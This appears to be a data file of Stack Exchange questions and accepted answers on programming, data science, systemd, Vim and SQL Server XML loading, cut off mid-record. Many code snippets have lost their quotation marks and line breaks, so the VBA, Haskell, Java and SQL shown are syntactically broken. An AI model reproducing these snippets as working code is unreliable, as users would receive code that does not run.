{  "id": "_datascience.548"  , "question": "I often am building a model (classification or regression) where I have some predictor variables that are sequences and I have been trying to find technique recommendations for summarizing them in the best way possible for inclusion as predictors in the model.As a concrete example, say a model is being built to predict if a customer will leave the company in the next 90 days (anytime between t and t+90; thus a binary outcome). One of the predictors available is the level of the customers financial balance for periods t_0 to t-1. Maybe this represents monthly observations for the prior 12 months (i.e. 12 measurements). I am looking for ways to construct features from this series. I use descriptives of each customers series such as the mean, high, low, std dev., fit a OLS regression to get the trend. Are their other methods of calculating features? Other measures of change or volatility? ADD:As mentioned in a response below, I also considered (but forgot to add here) using Dynamic Time Warping (DTW) and then hierarchical clustering on the resulting distance matrix - creating some number of clusters and then using the cluster membership as a feature. Scoring test data would likely have to follow a process where the DTW was done on new cases and the cluster centroids - matching the new data series to their closest centroids... "  , "title": "Feature Extraction Technique - Summarizing a Sequence of Data"  , "tags": "machine learning;feature selection;time series"  } 
{  "id": "_unix.9162"  , "question": "I have somehow managed to get my keyboard only to work and be able to select with the mouse cursor, only when the Shift and Control keys are held.How can I undo this?I have tried System -> Preferences -> Keyboard but nothing appears there to resolve this.Edit:I can only enter text or select anything (even opening a new tab in web browser), only if the shift and control keys are held. once the selection is active then I can type normally, until the next time I need to type, etc..Below as recommended:KeyRelease event, serial 36, synthetic NO, window 0x5a00001,root 0x1ad, subw 0x0, time 2238759, (-435,502), root:(312,552),state 0x11, keycode 38 (keysym 0x41, A), same_screen YES,XLookupString gives 1 bytes: (41) AXFilterEvent returns: FalseEdit:Pressing (and holding) the Alt or Windows key has a similar action as to holding the Shift and Control keys (Shift and Control are held simultaneously).shift       Shift_L (0x32),  Shift_R (0x3e)lock        Caps_Lock (0x42)control     Control_L (0x25),  Control_R (0x69)mod1        Alt_L (0x40),  Alt_R (0x6c),  Meta_L (0xcd)mod2        Num_Lock (0x4d)mod3      mod4        Super_L (0x85),  Super_R (0x86),  Super_L (0xce),  Hyper_L (0xcf)mod5        ISO_Level3_Shift (0x5c),  Mode_switch (0xcb)"  , "title": "ungrabbing keys"  , "tags": "xorg;keyboard"  } 
{  "id": "_datascience.6787"  , "question": "Recently a friend of mine was asked whether  decision tree algorithm a linear or nonlinear algorithm in an interview. I tried to look for answers to this question but couldn't find any satisfactory explanation. Can anyone answer and explain the solution to this question? Also what are some other examples of nonlinear machine learning algorithms?"  , "title": "Is decision tree algorithm a linear or nonlinear algorithm?"  , "tags": "machine learning;algorithms;decision trees"  } 
{  "id": "_cstheory.1940"  , "question": "What are the most practically efficient algorithms for multiplying two very sparse boolean matrices (say, N=200 and there are just some 100-200 non-zero elements)?Actually, I have the advantage that when I'm multiplying A by B, the B's are predefined and I can do arbitrarily complex preprocessing on them. I also know that the results of products are always as sparse as the original matrices.The rather naive algorithm (scan A by rows; for each 1 bit of the A-row, OR the result with the corresponding row of B) turns out very efficient and requires only a couple thousand of CPU instructions to compute a single product, so it won't be easy to surpass it, and it's only surpassable by a constant factor (because there are hundreds of one bits in the result). But I'm not losing hope and asking the community for help :)"  , "title": "Fast sparse boolean matrix product with possible preprocessing"  , "tags": "ds.algorithms;matrix product;sparse matrix;boolean matrix;implementation"  } 
{  "id": "_codereview.140088"  , "question": "I have put together a stored procedure to load and parse the Stack Exchange Data Dump into a relational database (akin to Stack Exchange Data Explorer). Each site has 8 XML files like these:The stored procedure below performs the following steps:Fetch the Badges.xml file for the target site from the local file systemLoad the XML document into the databaseParse the XML document <row> notes and populate the destination table with each attribute in its own columnI wrote this for Badges data, but I have to apply the same logic for all 8 types of XML data, so I would like to make this procedure as good as possible before I apply its model to processing the other XML files.The (very simple) structure of the Badges.xml files is as follows:<?xml version=1.0 encoding=utf-8?><badges>  <row Id=1 UserId=2 Name=Autobiographer Date=2011-01-19T20:52:02.027 Class=3 TagBased=False />  <row Id=2 UserId=4 Name=Autobiographer Date=2011-01-19T20:57:02.100 Class=3 TagBased=False />  <row Id=3 UserId=6 Name=Autobiographer Date=2011-01-19T20:57:02.133 Class=3 TagBased=False />  ...  <row Id=176685 UserId=99330 Name=Supporter Date=2016-03-06T03:34:14.827 Class=3 TagBased=False /></badges>TablesThe following 3 tables are used in conjunction with the procedure:CREATE TABLE RawDataXml.Badges (    SiteId UNIQUEIDENTIFIER PRIMARY KEY,    ApiSiteParameter NVARCHAR(256) NOT NULL,    RawDataXml XML NULL,    XmlDataSize BIGINT NULL,    Inserted DATETIME2 DEFAULT GETDATE(),    CONSTRAINT fk_Badges_SiteId FOREIGN KEY (SiteId) REFERENCES CleanData.Sites(Id));CREATE TABLE CleanData.Badges (    SiteId UNIQUEIDENTIFIER NOT NULL,    ApiSiteParameter NVARCHAR(256) NOT NULL,    RowId INT,    UserId INT,    Name NVARCHAR(256),    CreationDate DATETIME2,    Class INT,    TagBased BIT,    Inserted DATETIME2 DEFAULT GETDATE(),    CONSTRAINT fk_Badges_SiteId FOREIGN KEY (SiteId) REFERENCES CleanData.Sites(Id));CREATE TABLE RawDataXml.Globals (    Parameter NVARCHAR(256) NOT NULL,    Value NVARCHAR(256) NOT NULL,    Inserted DATETIME2 DEFAULT GETDATE());The RawDataXml.Globals table contains values such as these. The TargetSite values are meant to be used to run the procedure with a cursor iterating each of the sites (will show an example at the end).Parameter     ValueSourcePath    D:\\Downloads\\stackexchange\\TargetSite    codereview.stackexchange.comTargetSite    meta.codereview.stackexchange.comTargetSite    stats.stackexchange.comTargetSite    meta.stats.stackexchange.comThe procedureThis is the CREATE PROCEDURE statement. I added comments throughout to hopefully make it easy to understand and maintain.IF EXISTS (    SELECT 1     FROM INFORMATION_SCHEMA.ROUTINES    WHERE SPECIFIC_SCHEMA = 'RawDataXml'    AND SPECIFIC_NAME = 'usp_LoadBadgesXml')DROP PROCEDURE RawDataXml.usp_LoadBadgesXml;GOCREATE PROCEDURE RawDataXml.usp_LoadBadgesXml    @SiteDirectory NVARCHAR(256),    -- Delete the loaded XML file after processing if True/1 (default True):    @DeleteXmlRawDataAfterProcessing BIT = 1,    -- Display/Return results to caller if @ReturnRows is set to True (default False)    @ReturnRows BIT = 0AS BEGIN    SET NOCOUNT ON;    -- Fetch global source path parameter:    DECLARE @SourcePath NVARCHAR(256);    DECLARE @bslash CHAR = CHAR(92);    SET @SourcePath = (SELECT Value FROM RawDataXml.Globals WHERE Parameter = 'SourcePath');    -- Make sure path ends with backslash (ASCII char 92)    IF(SELECT RIGHT(@SourcePath, 1)) <> @bslash SET @SourcePath += @bslash;    -- Fetch site identifiers based on @SiteDirectory parameter:    DECLARE @SiteId UNIQUEIDENTIFIER;    DECLARE @ApiSiteParameter NVARCHAR(256);    SELECT         @SiteId = Id,         @ApiSiteParameter = ApiSiteParameter    FROM CleanData.Sites    WHERE SiteDirectory = @SiteDirectory;    -- Throw error if @SiteDirectory parameter does not match an existing site:    IF @SiteId IS NULL OR @ApiSiteParameter IS NULL    BEGIN        DECLARE @ErrMsg NVARCHAR(512) = 'The input site directory ' + @SiteDirectory + ' could not be matched to an existing site. Please verify and try again.';        RAISERROR(@ErrMsg, 11, 1);    END     -- Delete any previous XML data that may be present for the site:    DELETE FROM RawDataXml.Badges    WHERE SiteId = @SiteId;    /** XML FILE HANDLING **    This section loads the XML file from the file system into a table.    If @DeleteXmlRawDataAfterProcessing is set to 1 (default)    this XML data will be deleted from the database (but not from the file system)     after the data is parsed into a relational table (below).     *****/    DECLARE @FilePath NVARCHAR(512) = @SourcePath + @SiteDirectory + @bslash + 'Badges.xml';    DECLARE @SQL_OPENROWSET_QUERY NVARCHAR(1024);    -- Dynamic SQL is used here because OPENROWSET will only accept a string literal as argument for the file path.    SET @SQL_OPENROWSET_QUERY =         'INSERT INTO RawDataXml.Badges (SiteId, ApiSiteParameter, RawDataXml)' + CHAR(10)        + 'SELECT ' + QUOTENAME(@SiteId, '''') + ', ' + CHAR(10)        + QUOTENAME(@ApiSiteParameter, '''') + ', ' + CHAR(10)        + 'CONVERT(XML, BulkColumn) AS BulkColumn' + CHAR(10)        + 'FROM OPENROWSET(BULK ' + QUOTENAME(@FilePath, '''') + ', SINGLE_BLOB) AS x;'    PRINT CONVERT(NVARCHAR(256), GETDATE(), 21) + ' Processing ' + @FilePath;    -- Execute the dynamic query to load XML into the table:    EXECUTE sp_executesql @SQL_OPENROWSET_QUERY;    /** XML DATA PARSING & PROCESSING **    This section parses the loaded XML document into columns and puts those in CleanData.Badges table.    If previous data existed, that data is deleted prior to adding new data, to avoid duplication of rows    and ensure a fresh set of data.    *****/    -- Clear any existing data:    DELETE FROM CleanData.Badges    WHERE SiteId = @SiteId;    -- Prepare XML document for parsing:    DECLARE @XML AS XML;    DECLARE @Doc AS INT;    SELECT @XML = RawDataXml    FROM RawDataXml.Badges    WHERE SiteId = @SiteId;    EXEC sp_xml_preparedocument @Doc OUTPUT, @XML;    -- Parse XML <row> node attributes and insert them into their respective columns:    INSERT INTO CleanData.Badges (        SiteId,         ApiSiteParameter,         RowId,         UserId,         Name,         CreationDate,         Class,         TagBased    )    SELECT         @SiteId,        @ApiSiteParameter,        Id,        UserId,        Name,        [Date],        Class,        CASE            WHEN LOWER(TagBased) = 'true' THEN 1            ELSE 0            END AS TagBased    FROM OPENXML(@Doc, 'badges/row')    WITH (        Id INT '@Id',        UserId INT '@UserId',        Name NVARCHAR(256) '@Name',        [Date] DATETIME2 '@Date',        Class INT '@Class',        TagBased NVARCHAR(256) '@TagBased'    );    EXEC sp_xml_removedocument @Doc;    -- Delete the loaded XML file after processing if True/1 (default True):    IF @DeleteXmlRawDataAfterProcessing = 1    BEGIN        DELETE FROM RawDataXml.Badges        WHERE SiteId = @SiteId;    END    -- Display/Return results to caller if @ReturnRows is set to True (default False)    IF @ReturnRows = 1    BEGIN        SELECT * FROM CleanData.Badges        WHERE SiteId = @SiteId        ORDER BY CreationDate ASC;    ENDENDGOExample run with statsHere is an example run for the 4 sites currently in the Globals table. Note that this is a post-compile run, i.e., it was ran before this run to calculate the execution plan.DECLARE @Start DATETIME2 = GETDATE();DECLARE @RowsProcessed INT;DECLARE @Now DATETIME2;DECLARE @CurrentSite NVARCHAR(256);DECLARE _SitesToProcess CURSOR FOR    SELECT Value     FROM RawDataXml.Globals    WHERE Parameter = 'TargetSite';OPEN _SitesToProcess;FETCH NEXT FROM _SitesToProcess INTO @CurrentSite;WHILE @@FETCH_STATUS = 0BEGIN    SET @Now = GETDATE();    EXECUTE RawDataXml.usp_LoadBadgesXml @CurrentSite;    PRINT 'Processing time: ' + CAST(DATEDIFF(MILLISECOND, @Now, GETDATE()) AS VARCHAR(20)) +' ms.';    FETCH NEXT FROM _SitesToProcess INTO @CurrentSite;ENDCLOSE _SitesToProcess;DEALLOCATE _SitesToProcess;PRINT 'TOTAL Processing time: ' + CAST(DATEDIFF(MILLISECOND, @Start, GETDATE()) AS VARCHAR(20)) +' ms.';SELECT * FROM CleanData.Badges ORDER BY CreationDate DESC;Which prints the following to console, and finally displays the rows parsed from the XML document.2016-08-31 00:05:04.983 Processing D:\\Downloads\\stackexchange\\codereview.stackexchange.com\\Badges.xmlProcessing time: 8060 ms.2016-08-31 00:05:13.033 Processing D:\\Downloads\\stackexchange\\meta.codereview.stackexchange.com\\Badges.xmlProcessing time: 1517 ms.2016-08-31 00:05:14.550 Processing D:\\Downloads\\stackexchange\\stats.stackexchange.com\\Badges.xmlProcessing time: 8120 ms.2016-08-31 00:05:22.670 Processing D:\\Downloads\\stackexchange\\meta.stats.stackexchange.com\\Badges.xmlProcessing time: 1740 ms.TOTAL Processing time: 19437 ms.(345368 row(s) affected)Finally, here is a screenshot of the nontrivial parts of the actual execution plan:"  , "title": "Load and parse Stack Exchange data dump XML into DB table"  , "tags": "performance;sql;sql server;xml;stackexchange"  , "accepted_answer": "ReadabilityWhitespaceMulti-line statements are written without any indentation, which makes them a bit harder to read.  Especially if they are also not separated from each other by extra vertical whitespace.  This had me squint a bit on-- Prepare XML document for parsing:DECLARE @XML AS XML;DECLARE @Doc AS INT;SELECT @XML = RawDataXmlFROM RawDataXml.BadgesWHERE SiteId = @SiteId;EXEC sp_xml_preparedocument @Doc OUTPUT, @XML;which I would write like-- Prepare XML document for parsing:DECLARE @XML AS XML;DECLARE @Doc AS INT;SELECT @XML = RawDataXml  FROM RawDataXml.Badges WHERE SiteId = @SiteId;EXEC sp_xml_preparedocument @Doc OUTPUT, @XML;making sure that only the first line of each statement is fully left-aligned.Dynamic SQLDynamic SQL always adds some readability issues, as most editors won't syntax highlight it, and readers will often have to count single quotes to make sure they are escaped correctly.  But it is not necessary to split strings in order to use newlines with CHAR(10). You could rewrite the string like so:SET @SQL_OPENROWSET_QUERY =   'INSERT INTO RawDataXml.Badges (SiteId, ApiSiteParameter, RawDataXml)     SELECT ' + QUOTENAME(@SiteId, '''') + '          , ' + QUOTENAME(@ApiSiteParameter, '''') + '          , CONVERT(XML, BulkColumn) AS BulkColumn       FROM OPENROWSET( BULK ' + QUOTENAME(@FilePath, '''') + '                      , SINGLE_BLOB ) AS x;'This will remove many of the distracting +es, CHAR(10) calls and quotes, and bring the SQL code back to a more readable formatting as well.PerformanceAdd primary keys or index to all tablesThe CleanData.Badges table is actually not a table but a heap. Because it doesn't have a primary key or other clustered index, SQL Server will always have to consult all full rows when operating on the data.  The execution plan screenshot actually has a suggestion for this:Missing Index (Impact 31.7402): CREATE NONCLUSTERED INDEX [<Name of Missing Index, sysname, >] ON [CleanData].[Badges] ([SiteId])Which means that it would help if there were an index on the SiteId column.  Indices only work with tables, not heaps, so you would also need to add a primary key (which would probably be (SiteId, RowId), guessing from the example data).Using xml.nodes() instead of OPENXMLNote: This is actually only a suggestion based on a hunch I have, based on what I see in the execution plan, not because I know this to have better performance.  I do not have a sql server instance at hand to compare performance.The execution plan shows a 57% cost for Remote Scan, which is basically have a remote server give me all their data.  Performance of that remote server is a black box, as far as the execution plan is concerned.A test like used in this answer may show that using @XML.nodes('/badges/row') may not only be less of a hassle with sp_xml_preparedocument, but may also perform better.  The code would look like:-- Prepare XML document for parsing:DECLARE @XML AS XML;SELECT @XML = RawDataXml  FROM RawDataXml.Badges WHERE SiteId = @SiteId;-- Parse XML <row> node attributes and insert them into their respective columns:INSERT INTO CleanData.Badges (    SiteId,     ApiSiteParameter,     RowId,     UserId,     Name,     CreationDate,     Class,     TagBased  )  SELECT     @SiteId,    @ApiSiteParameter,    x.r.value('@Id','INT') as Id,    x.r.value('@UserId', 'INT') as UserId,    x.r.value('@Name', 'NVARCHAR(256)') as Name,    x.r.value('@Date', 'DATETIME2') as [Date],    x.r.value('@Class', 'INT') as Class,    CASE        WHEN LOWER(x.r.value('@TagBased', 'NVARCHAR(256)')) = 'true' THEN 1        ELSE 0        END AS TagBased  FROM @XML.nodes('/badges/row') as x(r);This answer may also give pointers on how to select values from multiple xml documents combined, allowing you to process RawDataXml.Badges entries from multiple sites as a set."  } 
{  "id": "_codereview.171456"  , "question": "I often have multiple versions of the same reports that accumulate in some directory. I'd like to automate the process of moving the old versions of each report into an archive.Sometimes these report titles are formatted so that the date is at the end of the file name (before the extension), but the date format can vary from report to report. For example:  Tax Report 5.1.17.xlsx Tax Report 12.1.17.xlsxCompliance Report 5-1-2017.xlsxCompliance Report 6-1-2017.xlsxInsurance Report (May 2017).pdfInsurance Report (June 2017).pdf Each report should be handled separately (ie I'd like to keep the newest version of each report that I specify) based on a partial string identifier. The dates will be extracted using InStrRev and start/end indicators (by default,   is the start indicator and . is the end indicator).So if all of the files above were in the same directory and I ran the code below, the files with May dates would be archived, and the others would remain.Dim sourceDir As StringDim backupDir As StringsourceDir = C:\\Users\\johndoe\\Reports\\backupDir = C:\\Users\\johndoe\\Reports\\Archive\\Call archiveFiles(sourceDir, backupDir, Array(Tax*, Comp*), True)Call archiveFiles(sourceDir, backupDir, Ins*, True, (, ))Other times the report titles might not include dates, or the dates may be in a non-standard format. So I've included the option to determine the newest report based on date created or date modified (If you try to use the date string version and the procedure can't find any file names with valid dates, it won't move any of the files).I'm open to any feedback that might improve speed/stability/flexibility/readability/etc. I've tried to account for the obvious potential errors (trying to move an open file, trying to move a file to a directory containing an identically named file, etc.) but I may have missed some.Option ExplicitSub archiveFiles(sourcePath As String, backupPath As String, ByVal toMove As Variant, Optional leaveNewest As Boolean = False, Optional ByVal dateType As Variant = 1, Optional startIndicator As String =  , Optional endIndicator As String = .)'Moves files meeting name criteria (toMove) from one path (sourcePath) to another (backupPath)'If a file already exists in the backup folder, version number is added to file name'Optionally leaves the newest file, which can be determined based on (by dateType)' - Date within file name (String or 1)' - Date file created (Created or 2)' - Date file last modified (Modified or 3)    If Not IsArray(toMove) Then        Dim tempStr As String        tempStr = toMove        ReDim toMove(1 To 1) As String        toMove(1) = tempStr    End If    Dim i As Long    For i = LBound(toMove) To UBound(toMove)        If leaveNewest Then            Dim keepName As String            keepName = getNewestFile(sourcePath, CStr(toMove(i)), dateType, startIndicator, endIndicator)        End If        Dim FSO As Object        Set FSO = CreateObject(Scripting.Filesystemobject)        Dim f As Object        For Each f In FSO.GetFolder(sourcePath).Files            If f.Name Like CStr(toMove(i)) Then                Dim goAhead As Boolean                If Not leaveNewest Then                    goAhead = True                ElseIf f.Name = keepName Then                    goAhead = False                ElseIf keepName =  Then                    goAhead = False                Else                    goAhead = True                End If                If goAhead Then                    If Not isFileOpen(f) Then                        Dim j As Long                        Dim fMoved As Boolean                        j = 1                        fMoved = False                        Do Until fMoved                            If Dir(backupPath & f.Name) <>  Then                                Dim fileExt As String                                fileExt = Right(f.Name, Len(f.Name) - InStrRev(f.Name, .) + 1)                                If j = 1 Then                                    f.Name = Left(f.Name, InStrRev(f.Name, .) - 1) &  v1 & fileExt                                Else                                    f.Name = Left(f.Name, InStrRev(f.Name, .) - Len(CStr(j)) - 1) & j & fileExt                                End If                                j = j + 1                            Else                                f.Move backupPath                                fMoved = True                            End If                        Loop                    End If                End If            End If        Next    NextEnd SubFunction getNewestFile(strDir As String, Optional strFileName As String = *, Optional ByVal dateType As Variant = 1, Optional startIndicator As String =  , Optional endIndicator As String = .) As String'Returns the name of the newest file in a directory (strDir) with a given filename (strFileName)'Determines newest file using dateType, which can be:' - String or 1 (date within file name),' - Created or 2 (date file created), or' - Modified or 3 (date file last modified)    If Not IsNumeric(dateType) Then        Select Case dateType        Case Modified            dateType = 3        Case Created            dateType = 2        Case String            dateType = 1        Case Else            MsgBox Invalid date type            getNewestFile =         End Select    ElseIf dateType < 1 Or dateType > 3 Then        MsgBox Invalid date type        getNewestFile =     End If    Dim tempName As String    Dim tempDate As Date    tempName =     tempDate = DateSerial(1900, 1, 1)    Dim FSO As Object    Set FSO = CreateObject(Scripting.Filesystemobject)    Dim f As Object    For Each f In FSO.GetFolder(strDir).Files        If f.Name Like strFileName Then            If dateType = 3 Then                If f.DateLastModified > tempDate Then                    tempDate = f.DateLastModified                    tempName = f.Name                End If            ElseIf dateType = 2 Then                If f.DateCreated > tempDate Then                    tempDate = f.DateCreated                    tempName = f.Name                End If            Else                Dim tempStart As String                Dim tempEnd As String                Dim tempStr As String                tempStart = InStrRev(f.Name, startIndicator) + 1                tempEnd = InStrRev(f.Name, endIndicator) - 1                tempStr = Replace(Mid(f.Name, tempStart, tempEnd - tempStart + 1), ., /)                If tempStart > 0 And tempStart < tempEnd Then                    If IsDate(tempStr) Then                        If CDate(tempStr) > tempDate Then                            tempDate = CDate(tempStr)                            tempName = f.Name                        End If                    End If                End If            End If        End If    Next    getNewestFileName = tempNameEnd FunctionFunction isFileOpen(ByVal f As Variant) As Boolean'Determines whether a file (f) is open and returns true or false'Parameter f can be passed as a File object or as a complete file path string    Dim errNum As Long    Dim fileNum As Long    fileNum = FreeFile()    On Error Resume Next    If IsObject(f) Then        Open f.Path For Input Lock Read As #fileNum    Else        Open f For Input Lock Read As #fileNum    End If    Close fileNum    errNum = Err    On Error GoTo 0    Select Case errNum        Case 0            isFileOpen = False        Case 70            isFileOpen = True        Case Else            Error errNum    End SelectEnd Function"  , "title": "Move files to archive while keeping newest file (based on date string in filename, date created, or date modified)"  , "tags": "vba"  } 
{  "id": "_vi.6283"  , "question": "The HTML that's being returned by this PHP function doesn't have any syntax highlighting.If I delete the ' on line 13 the HTML highlighting works (but the PHP function breaks), with it the HTML highlighting does not work.How do I get the HTML to have its proper syntax highlighting inside of this function?Do I want to be doing something like this?  I'm having a hard time figuring out what to make of that and how I would adapt it for my situation, let alone whether or not that's the right approach.It would be great if Vim could automatically recognize HTML inside a PHP file without having to type any hard-to-remember commands."  , "title": "Why doesn't Vim recognize HTML inside PHP?"  , "tags": "syntax highlighting;filetype php"  , "accepted_answer": "From :help ft-php-syntax:There are the following options for the php syntax highlighting.[..]Enable HTML syntax highlighting inside strings:  let php_htmlInStrings = 1You can add that your vimrc."  } 
{  "id": "_webapps.12426"  , "question": "I am using the IP address to detect countries, and browser headers to detect language. But when it comes to having the user override these, it would be good interface design to:let them select neigbouring countries on top of the listlet them select languages by clicking on spoken language lists oncountriesIn order to avoid very long or multiple step (continent, country) dropdowns.I know you can find ISO lists of countries, currencies, currency symbols en notation, but has this all been put together in some kind of package with an API?"  , "title": "Are there datasets/frameworks available that map countries to neighbouring ones, spoken languages, currencies, notations?"  , "tags": "localization"  } 
{  "id": "_cs.73949"  , "question": "Look at this solution:Is the lower bound $m\\log n$ because we are only looking at the lower bound for union by rank only? If we make $n$ MAKE-SET operations, then there would be $\\log n$ UNION operations, and then $m - 2n + 1$ FIND-SET operations. The lower bound seems larger to me but what am I missing?"  , "title": "Why is the lower bound $m \\log n$ for this make-set, union and find-set sequence?"  , "tags": "algorithm analysis;data structures;lower bounds;union find"  , "accepted_answer": "You are asking two questions.Is the lower bound only for this specific implementation?Yes. If you also use path compression, the running time will be $o(m\\log n)$.The lower bound seems to large to me.Your mistake is that you assume that there are only $\\log n$ UNION operations, whereas there are $2^{\\lfloor \\log_2 n \\rfloor}-1 = \\Theta(n)$, as the answer clearly ."  } 
{  "id": "_cs.47448"  , "question": "If we take Solomonoff's prior $m$, defined here and normalize it we get a probability mass function on all finite words.But, the pmf isn't completely determined until we fix a universal Turing machine (UTM) $U$.Say $m_U$ is the normalized prior with respect to a UTM $U$.Is there a $U$ such that $m_U$ has maximum entropy?"  , "title": "Maximum entropy probability distribution among Solomonoff priors"  , "tags": "turing machines;probability theory;entropy"  } 
{  "id": "_codereview.61334"  , "question": "I'm reading through Write Yourself a Scheme after finishing going through Learn You a Haskell. I attempted one of the early exercises: writing a program to get an operator and two numbers and do a computation. It works fine.Things I would like to know:How should I structure a program, in terms of building larger functions out of smaller functions? Are there redundancies in my code?What's the most effective way to use the Maybe type to indicate failure when main is of type IO ()? Is my checkSuccess an appropriate way to do this?module Main whereimport System.Environment-- parses the first arithmetic operator in a stringparseOperator :: String -> Maybe CharparseOperator [] = NothingparseOperator (x:xs)    | x == '*' = Just '*'    | x == '/' = Just '/'    | x == '+' = Just '+'    | x == '-' = Just '-'    | otherwise = parseOperator xsparseNum :: String -> Maybe DoubleparseNum x =    let parsed = reads x :: [(Double,String)]    in case parsed of        [(a,)] -> Just a        [(_,_)] -> Nothing        [] -> Nothingcompute :: Maybe Char -> Maybe Double -> Maybe Double -> Maybe Doublecompute Nothing _ _ = Nothingcompute _ Nothing _ = Nothingcompute _ _ Nothing = Nothingcompute (Just c) (Just x) (Just y)    | c == '*' = Just $ x * y    | c == '/' = Just $ x / y    | c == '+' = Just $ x + y    | c == '-' = Just $ x - ycheckSuccess :: Maybe Double -> IO ()checkSuccess Nothing = putStrLn Failed. Check correctness of inputscheckSuccess (Just r) = putStrLn $ Result:  ++ (show r)runSequence :: String -> String -> String -> IO ()runSequence os xs ys =    checkSuccess $ compute (parseOperator os) (parseNum xs) (parseNum ys)main = do    putStrLn Enter operator: * / + -    operator <- getLine    putStrLn Enter first number    first <- getLine    putStrLn Enter second number    second <- getLine    runSequence operator first second"  , "title": "Simple Haskell calculator, using Maybe for error handling"  , "tags": "beginner;haskell;functional programming;calculator"  } 
{  "id": "_reverseengineering.3480"  , "question": "Is understanding of Cryptography really important for a reverse engineer? Thanks."  , "title": "How much Cryptography knowledge is important for reverse engineering?"  , "tags": "cryptography"  , "accepted_answer": "It is more and more important for practical reverse-engineering. It is now present in malware, the example of Stuxnet, Flame and others are quite typical of the usage of cryptography in such context. And, it is also present in most protection schemes because a lot of techniques use cryptography to protect the code and data. Just consider software such as Skype or iTunes which are relying on cryptography to protect their protocol or to hide information in the executable.So, indeed, it would be really a problem if you do not understand a bit cryptography when reversing. And, by understanding cryptography, I mean at least to be able to recognize the code of classical cipher algorithms at assembly level such as DES, AES, SHA-1, SHA-3, and so on. And, also to know classical flaws and cryptanalysis techniques for weak crypto (such as frequency analysis).A good way to learn about the cryptography needed for reverse-engineering would be to implement (with the help of existing codes found on the Net) your own cryptographic library with classical ciphers and look at the generated assembly. If you do not have the patience to do so, just look at the crypto-lib of OpenSSL, get it compiled and look at the code and the assembly.Of course, more you know about it, more you will be efficient when facing it."  } 
{  "id": "_softwareengineering.273673"  , "question": "Say you have some basic code where similar operations will take place in nearby lexical scopes. Take for example some simple pseudo code:variable = foo# Do something with variableif (True) {    variable = bar    # Do something else with variable}for i in range 1..100 {    variable = i    # Do another thing with variable}Say that in each scope, the variable is used for a distinct, but similar task and thus the name variable is appropriate in each case. What is the best practice in this case for naming? Should you use the name variable each time? Increment the name such as variable1, variable2, etc.? Or something else entirely? "  , "title": "Is it bad form to use the same variable name in different scopes?"  , "tags": "programming practices;naming;variables;scope"  , "accepted_answer": "If the variable in question represents the same thing for both functions, I can't see why it would be a problem. If you're arbitrarily using variable to mean any variable within a function that can do anything then yes, it is a problem. Name your variables in the context to which they are used."  } 
{  "id": "_webapps.33320"  , "question": "I have a webpage where i am having a textbox preferbaly for storing email address. I need to create an email intake database where i need a simple database built to store emails of users signing up . One of the ways i am thinking this is using an excel document on Google docs other being a standalone DB.Can anyone share links/pointers/tutorials regarding same."  , "title": "Store form data to Google Docs"  , "tags": "email;google spreadsheets;database"  , "accepted_answer": "Try using the Forms functionality that is already provided by Google: http://support.google.com/docs/bin/answer.py?hl=en&answer=87809This help article shows you how to set up a form, and the form responses go to a Google Spreadsheet with all of the data. You could create a simple form that asks users to enter an email address and hit SubmitThe easiest way to create a form is:Create a Google SpreadsheetClick Form > Create FormAdd your question(s) and edit your question typesOnce the form is created:Click Form > Embed Form in a WebpageYou can then use the <iframe> to embed the form onto your site."  } 
{  "id": "_unix.331693"  , "question": "I have a bunch of services (say C0, C1, … C9) that should only start after a service S has completed its initialization and is fully running and ready for the other services.  How do I arrange that with systemd?In Ordering services with path activation and target in systemd it is assumed that service S has a mechanism for writing out some sort of flag file.  Assume here, in contrast, that I have full control over the program that service S runs, and can add systemd mechanisms into it if needs be."  , "title": "How can a systemd service flag that is is ready, so that other services can wait for it to be ready before they start?"  , "tags": "systemd"  } 
{  "id": "_softwareengineering.146009"  , "question": "Is there a language that is capable of developing apps to cross platform OSs (win,*nix) and mobile apps (IOS, android) ..I'm a pro web developer but want to explore more environment to deploy my code into...Python ? Ruby ? "  , "title": "A single language to learn to develop desktop and mobile phone applications?"  , "tags": "programming languages;cross platform"  } 
{  "id": "_codereview.129191"  , "question": "We want to refactor two methods that are exactly the same, except for one difference: one takes an org.hibernate.Criteria and the other org.hibernate.criterion.DetachedCriteria. These two do implement a mutual interface (org.hibernate.criterion.CriteriaSpecification), but this only contains some final static fields, and no methods.Here are the methods (removed comments and javadoc for compactness):public static DetachedCriteria applyRestrictionsToCriteria(final DetachedCriteria criteria,      final Vector<RestrictionsHelper> filter) {    final Map<String, DetachedCriteria> subCriteriaMap = new HashMap<>();    if (filter != null) {        final Iterator<RestrictionsHelper> itp = filter.iterator();        while (itp.hasNext()) {            final RestrictionsHelper restric = itp.next();            if (restric.getClassname().equals()) {                final Iterator<Criterion> ir = restric.getCriterions().iterator();                while (ir.hasNext()) {                    final Criterion criterion = ir.next();                    criteria.add(criterion);                    if (criterion.toString().contains(Happening_fk)) {                        criteria.setFetchMode(Happeningdetails, FetchMode.JOIN);                    }                }                final Iterator<Order> or = restric.getOrders().iterator();                while (or.hasNext()) {                    criteria.addOrder(or.next());                }            } else {                final String[] buff = restric.getClassname().split(\\\\.);                DetachedCriteria subcriteria = criteria;                String path = ;                for (final String element : buff) {                    final String[] name = getNameAndAlias(element);                    path += name[0];                    final DetachedCriteria exsubcriteria = subCriteriaMap.get(path);                    if (exsubcriteria == null) {                        subcriteria = subcriteria.createCriteria(name[0], name[1], CriteriaSpecification.LEFT_JOIN);                        subCriteriaMap.put(path, subcriteria);                    } else {                        subcriteria = exsubcriteria;                    }                    path += .;                }                final Iterator<Criterion> ir = restric.getCriterions().iterator();                while (ir.hasNext()) {                    subcriteria.add(ir.next());                }                final Iterator<Order> or = restric.getOrders().iterator();                while (or.hasNext()) {                    subcriteria.addOrder(or.next());                }            }        }    }    return criteria;}andpublic static Criteria applyRestrictionsToCriteria(final Vector<RestrictionsHelper> filter,      final Criteria criteria) {    final Map<String, Criteria> subCriteriaMap = new HashMap<String, Criteria>();    if (filter != null) {        final Iterator<RestrictionsHelper> itp = filter.iterator();        while (itp.hasNext()) {            final RestrictionsHelper restric = itp.next();            if (restric.getClassname().equals()) {                final Iterator<Criterion> ir = restric.getCriterions().iterator();                while (ir.hasNext()) {                    final Criterion criterion = ir.next();                    criteria.add(criterion);                    if (criterion.toString().contains(Happening_fk)) {                        criteria.setFetchMode(Happeningdetails, FetchMode.JOIN);                    }                }                final Iterator<Order> or = restric.getOrders().iterator();                while (or.hasNext()) {                    criteria.addOrder(or.next());                }            } else {                final String[] buff = restric.getClassname().split(\\\\.);                Criteria subcriteria = criteria;                String path = ;                for (final String element : buff) {                    final String[] name = getNameAndAlias(element);                    path += name[0];                    final Criteria 